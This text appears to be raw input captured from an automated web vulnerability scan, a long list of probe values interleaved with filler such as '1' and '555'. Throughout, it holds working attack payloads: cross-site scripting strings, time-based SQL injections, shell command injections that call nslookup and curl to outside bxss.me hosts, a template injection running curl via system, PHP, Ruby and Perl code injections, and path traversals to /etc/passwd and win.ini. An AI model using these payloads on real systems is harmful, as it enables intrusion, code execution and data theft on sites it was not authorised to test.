555

555

555

555

555

555

1

1

1

1

1Z7FAV[!+!]

15QRAs
31eJ(9977)

1}body{zzz:Expre/**/SSion(31eJ(9719))}

1

?

1<ScRiPt>31eJ(9321)</sCripT>

1\u003CScRiPt\31eJ(9451)\u003C/sCripT\u003E

%31%3C%53%63%52%69%50%74%20%3E%33%31%65%4A%289775%29%3C%2F%73%43%72%69%70%54%3E

1

1

1

1

1

1

1

131eJ(9977)

1

131eJ(9784)

131eJ(9961)

131eJ(9300)9300

131eJ(9926)

1S39AR[!+!]

131eJ(9260)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

555

dfb{{98991*97996}}xca

555

1}}"}}'}}1%>"%>'%>

555

555

bfgx7174??z1??z2a?bcxhjl7174

bfg6495＜s1﹥s2ʺs3ʹhjl6495

19889921

555

'"()&%31eJ(9321)

555

1'"()&%31eJ(9511)

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

(select 198766*667891 from DUAL)

(select 198766*667891)

@@fWyVC

1????%2527%2522\'\"

1'"

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1RQZt1TdP')) OR 584=(SELECT 584 FROM PG_SLEEP(15))--

1XFRI8rXL') OR 93=(SELECT 93 FROM PG_SLEEP(15))--

1if2LM75j' OR 951=(SELECT 951 FROM PG_SLEEP(15))--

1-1)) OR 645=(SELECT 645 FROM PG_SLEEP(15))--

1-1) OR 927=(SELECT 927 FROM PG_SLEEP(15))--

1-1 OR 924=(SELECT 924 FROM PG_SLEEP(15))--

1EaRfeFS0'; waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1*if(now()=sysdate(),sleep(15),0)

-1" OR 5*5=25 or "hYy4hS6i"="

-1' OR 5*5=25 or '4Nuw2CjH'='

-1" OR 5*5=25 --

-1' OR 5*5=25 --

-1 OR 5*5=25

-1 OR 5*5=25 --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

&(nslookup${IFS}-q${IFS}cname${IFS}hitbkdmmpxmmeb799b.bxss.me||curl${IFS}hitbkdmmpxmmeb799b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbkdmmpxmmeb799b.bxss.me||curl${IFS}hitbkdmmpxmmeb799b.bxss.me)&`'

|(nslookup${IFS}-q${IFS}cname${IFS}hiteimjpucbmp5880a.bxss.me||curl${IFS}hiteimjpucbmp5880a.bxss.me)

1

1

1

;(nslookup -q=cname hitzaapsfnmuacaf2b.bxss.me||curl hitzaapsfnmuacaf2b.bxss.me)|(nslookup -q=cname hitzaapsfnmuacaf2b.bxss.me||curl hitzaapsfnmuacaf2b.bxss.me)&(nslookup -q=cname hitzaapsfnmuacaf2b.bxss.me||curl hitzaapsfnmuacaf2b.bxss.me)

`(nslookup -q=cname hityvffiljltfa45d7.bxss.me||curl hityvffiljltfa45d7.bxss.me)`

1

1

'"

1

1

1

1

1

1

|(nslookup -q=cname hitzmezxqetvh99a66.bxss.me||curl hitzmezxqetvh99a66.bxss.me)

1

&(nslookup -q=cname hitrmgxtjjmvuf0755.bxss.me||curl hitrmgxtjjmvuf0755.bxss.me)&'\"`0&(nslookup -q=cname hitrmgxtjjmvuf0755.bxss.me||curl hitrmgxtjjmvuf0755.bxss.me)&`'

1

&nslookup -q=cname hitdghxxdaeekad99d.bxss.me&'\"`0&nslookup -q=cname hitdghxxdaeekad99d.bxss.me&`'

$(nslookup -q=cname hitmzpfxklxvb7f7f0.bxss.me||curl hitmzpfxklxvb7f7f0.bxss.me)

19407905

'"()&%wlUJ(9171)

1'"()&%wlUJ(9430)

1

(nslookup -q=cname hitdcgcywgylr5fbec.bxss.me||curl hitdcgcywgylr5fbec.bxss.me))

1

expr 9000683945 - 962723

1

1

1

1|echo vynffu$()\ qeoawa\nz^xyu||a #' |echo vynffu$()\ qeoawa\nz^xyu||a #|" |echo vynffu$()\ qeoawa\nz^xyu||a #

|echo yatfip$()\ uspstl\nz^xyu||a #' |echo yatfip$()\ uspstl\nz^xyu||a #|" |echo yatfip$()\ uspstl\nz^xyu||a #

1

1&echo lyxvna$()\ htfnqy\nz^xyu||a #' &echo lyxvna$()\ htfnqy\nz^xyu||a #|" &echo lyxvna$()\ htfnqy\nz^xyu||a #

1

1

1

&echo ikgeqc$()\ ocafai\nz^xyu||a #' &echo ikgeqc$()\ ocafai\nz^xyu||a #|" &echo ikgeqc$()\ ocafai\nz^xyu||a #

echo jdsztk$()\ iegsah\nz^xyu||a #' &echo jdsztk$()\ iegsah\nz^xyu||a #|" &echo jdsztk$()\ iegsah\nz^xyu||a #

xfs.bxss.me

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

'.print(md5(31337)).'

${@print(md5(31337))}\

1

1

${@print(md5(31337))}

1

";print(md5(31337));$a="

1

1

1

1

'A'.concat(70-3).concat(22*4).concat(106).concat(71).concat(100).concat(80)+(require'socket'
Socket.gethostbyname('hitmr'+'iyrdmnlj12560.bxss.me.')[3].to_s)

'+'A'.concat(70-3).concat(22*4).concat(122).concat(89).concat(115).concat(68)+(require'socket'
Socket.gethostbyname('hitoz'+'tzwcfxuaebf9e.bxss.me.')[3].to_s)+'

';print(md5(31337));$a='

1

"+"A".concat(70-3).concat(22*4).concat(119).concat(90).concat(113).concat(79)+(require"socket"
Socket.gethostbyname("hitag"+"phztlyjy0e007.bxss.me.")[3].to_s)+"

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

gethostbyname(lc('hitqd'.'xrpoezbr54981.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(88).chr(110).chr(74)

1

1

1

1

1

".gethostbyname(lc("hitgz"."hdsskrxv978a8.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(65).chr(97).chr(69)."

'.gethostbyname(lc('hitph'.'qmbmvtdm563f4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(86).chr(102).chr(78).'

1

1

1

1

1

1

1

1

1

1

index.php/.

1

index.php

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

index.php

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1"||sleep(27*1000)*pplsyx||"

1

1

1

1

1

1

1

1

1

1

1'||sleep(27*1000)*nmwjqs||'

1

1"&&sleep(27*1000)*ebreer&&"

1

1

bxss.me/t/xss.html?%00

1

HttP://bxss.me/t/xss.html?%00

1'&&sleep(27*1000)*fhvvmq&&'

'"()

1

1

1

1

1

1

^(#$!@#$)(()))******

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

!(()&&!|*|*|

1

1

1

1

1

1

1

1

)

1

1

1

1

1

1

1

1

http://bxss.me/t/fit.txt?.jpg

1

Http://bxss.me/t/fit.txt

1

1

1

1

1

1

bxss.me

1

c:/windows/win.ini

1

1

../../../../../../../../../../../../../../etc/shells

/etc/shells

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1

1

1

1

1

1

1

1

1

redirtest.acx

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n909671=v905432

12345'"\'\");|]*{
?''????

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../1

1

1

1

1

1

1

1

1

1

1

file:///etc/passwd

../../../../../../../../../../../../../../windows/win.ini

1

1

${9999359+10000423}

1

1

1

1

1

1

1

1

1

1

1

1

1

"+response.write(9841907*9244348)+"

1

1BQOQRCAF3S0

../../../../../../../../../../../../../../etc/passwd

1

1

1

1

1

1

1

1

1

1

1

'+response.write(9841907*9244348)+'

1

1

1

1

qPxLbz4S: n9k0J1SC

1

response.write(9841907*9244348)

KGTENwGm

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

19358318

1

1

1

'"()&%FqWc(9164)

1

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitreewxmggoc246bc.bxss.me")}}

1

1'"()&%FqWc(9230)

1

1

1

1

1

&(nslookup${IFS}-q${IFS}cname${IFS}hitsubamkvyekfe0cc.bxss.me||curl${IFS}hitsubamkvyekfe0cc.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsubamkvyekfe0cc.bxss.me||curl${IFS}hitsubamkvyekfe0cc.bxss.me)&`'

1

1

1

'"

|(nslookup${IFS}-q${IFS}cname${IFS}hitogxrdqwljz8eaa5.bxss.me||curl${IFS}hitogxrdqwljz8eaa5.bxss.me)

1

1

1

1

;(nslookup -q=cname hitbpwmulnklj871d5.bxss.me||curl hitbpwmulnklj871d5.bxss.me)|(nslookup -q=cname hitbpwmulnklj871d5.bxss.me||curl hitbpwmulnklj871d5.bxss.me)&(nslookup -q=cname hitbpwmulnklj871d5.bxss.me||curl hitbpwmulnklj871d5.bxss.me)

1

1

1

1

`(nslookup -q=cname hitizwhfakivu64063.bxss.me||curl hitizwhfakivu64063.bxss.me)`

&(nslookup -q=cname hitdtukellkgg77a52.bxss.me||curl hitdtukellkgg77a52.bxss.me)&'\"`0&(nslookup -q=cname hitdtukellkgg77a52.bxss.me||curl hitdtukellkgg77a52.bxss.me)&`'

'A'.concat(70-3).concat(22*4).concat(119).concat(83).concat(118).concat(80)+(require'socket'
Socket.gethostbyname('hitde'+'chfmkdsx52e9d.bxss.me.')[3].to_s)

1

1

|(nslookup -q=cname hitehxrocppjde28b3.bxss.me||curl hitehxrocppjde28b3.bxss.me)

1

1

'+'A'.concat(70-3).concat(22*4).concat(118).concat(85).concat(102).concat(90)+(require'socket'
Socket.gethostbyname('hitow'+'aoxpeudefba4b.bxss.me.')[3].to_s)+'

&nslookup -q=cname hitcukihzpukc2e03c.bxss.me&'\"`0&nslookup -q=cname hitcukihzpukc2e03c.bxss.me&`'

1

xfs.bxss.me

1

${@print(md5(31337))}\

index.php/.

"+"A".concat(70-3).concat(22*4).concat(115).concat(70).concat(120).concat(85)+(require"socket"
Socket.gethostbyname("hitpw"+"cpirppadd56ed.bxss.me.")[3].to_s)+"

$(nslookup -q=cname hitqeerimpcfv970d9.bxss.me||curl hitqeerimpcfv970d9.bxss.me)

1

'.print(md5(31337)).'

1

${@print(md5(31337))}

expr 9000736099 - 920391

index.php

(nslookup -q=cname hitwubqgwsbnu21b03.bxss.me||curl hitwubqgwsbnu21b03.bxss.me))

1

1

";print(md5(31337));$a="

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1|echo picnli$()\ sjfava\nz^xyu||a #' |echo picnli$()\ sjfava\nz^xyu||a #|" |echo picnli$()\ sjfava\nz^xyu||a #

index.php

';print(md5(31337));$a='

|echo jqthjw$()\ peidmm\nz^xyu||a #' |echo jqthjw$()\ peidmm\nz^xyu||a #|" |echo jqthjw$()\ peidmm\nz^xyu||a #

1

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1&echo sfddht$()\ zooiia\nz^xyu||a #' &echo sfddht$()\ zooiia\nz^xyu||a #|" &echo sfddht$()\ zooiia\nz^xyu||a #

1

1

1

echo xvhfdv$()\ xapylu\nz^xyu||a #' &echo xvhfdv$()\ xapylu\nz^xyu||a #|" &echo xvhfdv$()\ xapylu\nz^xyu||a #

1

1

1

1

1

&echo qkkbmz$()\ uabdtw\nz^xyu||a #' &echo qkkbmz$()\ uabdtw\nz^xyu||a #|" &echo qkkbmz$()\ uabdtw\nz^xyu||a #

1

1

bxss.me/t/xss.html?%00

1

1

1

gethostbyname(lc('hitgt'.'qsxakzevac7eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(90).chr(118).chr(73)

1

1

1

HttP://bxss.me/t/xss.html?%00

1"||sleep(27*1000)*luxqro||"

1

1"&&sleep(27*1000)*jibglv&&"

".gethostbyname(lc("hitbc"."ebubczdk4bd5f.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(83).chr(117).chr(65)."

1

1'||sleep(27*1000)*rbrcch||'

1

http://bxss.me/t/fit.txt?.jpg

1

1'&&sleep(27*1000)*jvbgks&&'

'.gethostbyname(lc('hitav'.'iwjraayd69a55.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(69).chr(119).chr(90).'

1

1

1

1

'"()

1

1

1

Http://bxss.me/t/fit.txt

1

1

1

1

1

bxss.me

1

1

1

1

c:/windows/win.ini

1

^(#$!@#$)(()))******

../../../../../../../../../../../../../../etc/shells

)

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1

!(()&&!|*|*|

/etc/shells

1

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1

1

1

1

1

1

1

1

redirtest.acx

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n976125=v937310

1

1

1

../1

file:///etc/passwd

1

1

1

1

1

../../../../../../../../../../../../../../windows/win.ini

12345'"\'\");|]*{
?''????

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

${9999298+9999661}

1

1

1

1

"+response.write(9144870*9452597)+"

1

1

1

1

1

1AHqx0X1: CZr0CXuT

1

1

1

'+response.write(9144870*9452597)+'

1

response.write(9144870*9452597)

1

1C943MNXNM20

1

1

0EZv1l5b

1

1

1

1

1

1

1

1